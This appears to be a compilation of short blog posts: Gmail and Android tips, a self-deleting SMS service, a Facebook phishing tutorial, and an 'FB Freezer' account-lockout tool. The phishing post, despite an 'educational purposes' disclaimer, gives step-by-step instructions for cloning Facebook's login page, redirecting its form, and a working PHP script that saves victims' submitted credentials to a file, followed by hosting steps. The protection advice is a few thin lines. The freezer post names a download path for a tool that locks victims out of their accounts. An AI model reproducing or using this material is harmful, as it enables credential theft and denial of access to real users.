Know your account creation date: Deleted your Welcome Mail (Gmail)

This post is for those people who like to keep it clean, i.e. Delete all their messages after reading them.

Well these people also sometimes delete the gmail welcome mail, which provides them their account creation date. Now, I have a good new for those who have created their account after 2007.

You can know this creation date by

Going to Settings > Forwarding and POP/IMAP and under POP Download look for:

Status: POP is enabled for all mail that has arrived since "Your Account Creation Date"

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Developer secrets: Android secret picture

Every android version has its own picture hidden inside its OS, for example its a zombie art for gingerbread, Flying androids for ice-cream sandwich, Floating Beans for jellybean etc.
Finding it is quite simple, I found out accidentally while just playing with my phone
1. Go to settings > About Phone > Tap 5-10 times on android version.

While zombie art is not interactive and just an image, the others are not,

• For ice-cream sandwich keep the android symbol pressed with your finger to get flying androids.
• For jellybean, hold the jellybean to get floating jellybeans which you can move by dragging with your finger.

That's all, its up to you to discover more of these images. Thank you.

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Self Deleting SMS

Want to delete a message after it is read by the recipient automatically? Here is the Sol.

Use Safe-Text, a website that allows to send such messages, and that to free of cost.... (Just for the limitation of 10 messages daily)

To do so follow the following steps:
1. To register and activate, text "Wired" to 83118 (Charged at your local standard rate).
2. Write your confidential message and send
3. the receiver will get the message that he has received a Wired safe text with a link to the internet site that hosts your message.
4. when they click it, they will activate safe text and will have only a few seconds to read the whole text before it self destructs.

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Phishing: How hackers do it and how to protect yourself

Disclaimer: This Article is for educational purposes only. Don't misuse it and the author does not take the responsibility of the damage caused by you.

My readers ask me how to hack Facebook accounts. Most of the people curious to know how hackers take control of their accounts. In this post, let me clarify those doubts.

Here, I am going to explain one of the popular social engineering attack(luring user into do whatever you asked to do.), called "phishing" .

Phishing is one of the popular hacking technique used by hackers to lure victims into giving their login credentials.

Phishing WebPage:
Phishing webpage is a fake webpage of the target website that helps hackers to lure the victim into believe that they are visiting the legitimate website.

Let me explain how hackers create a facebook phishing page.
Step 1:
To make a fake page of the target website , hackers simply use the source code of the website and save it as html page. In most cases , it is facebook. They go to facebook and right click on the website . Select "View source" and copy the code to notepad.

Step2:
Now search (Press ctrl +f) for keyword "action" in that code.
Here, let me explain what "action" means to. If you have some basic knowledge of web applications, then you already know about that. 'Action' is a HTML attribute that specifies where to send the form-data when a form(In our case, login-form) is submitted.

In the above code, the action attribute has the value that points to facebook login php file (https://login.facebook.com/login.php). So when a user click the login button, it will send the data to the login.php page. This php file will check whether the entered password is valid or not .

To capture the form-data, hackers have to change the action value to their php file. So they change the value to ' action="login.php" '. Note: I've removed ' http://login.facebook.com/' from the value.

Save the file as index.html.

Step 3:
Now , they create a login.php file that will capture the entered data and redirects to original facebook page.

They open the notepad and type the following code:

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

They open the notepad and just save the file as "pswrds.txt" (without any contents).

Step 5:
To host their phishing page, they need a webhosting. They create a free account in free web hosting providers. Once they have created account in free hosting site, they can host their files and run. Also, their files can be viewed by visiting a specific URL provided when they create an account. For example : 'your_url_name.webhosting_domain.com'.

Now they upload those files(index.html,login.php,pswrds.txt) in the free Web hosting site. They make sure the fake page is working or not by vising your url.

Now , they have to lure people into login into their phishing page. Once you login into the page, they can see your login credentials being stored in the "pswrds.txt" file.

Protection is rather simple, but the need is to stay alert,
1. As always, do not open any untrusted mail/ attachment.
2. Check the URL of the site you are on and ensure it is "https".
3. Do not enter any personal information on pop-ups and/or on untrusted sites.
4. etc.... etc.....

These were the major steps, that you can follow.

Credits: +Tasneem Wasim, +Rajat Jain 

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FB Freezer: How hackers freeze accounts AND the solution

Disclaimer: This Article is for educational purposes only. Don't misuse it and the author does not take the responsibility of the damage caused by you.

Hackers don't use this tool to hack accounts but to freeze the user's access to their accounts. They use a
facebook rule that states 'after 25 or so logins the user accounts get locked temporarily' to their advantage.

1. They download FBfreezer from hackershome.in/My%20Files/facebook%20freezer.rar
2. Enter the email ID of the victim.
3. And simply click on freeze.
That's it and you are trapped.

How to remain protected from this threat:

Relatively simple, always be logged on to facebook via your mobile, no one can freeze your ID then!!

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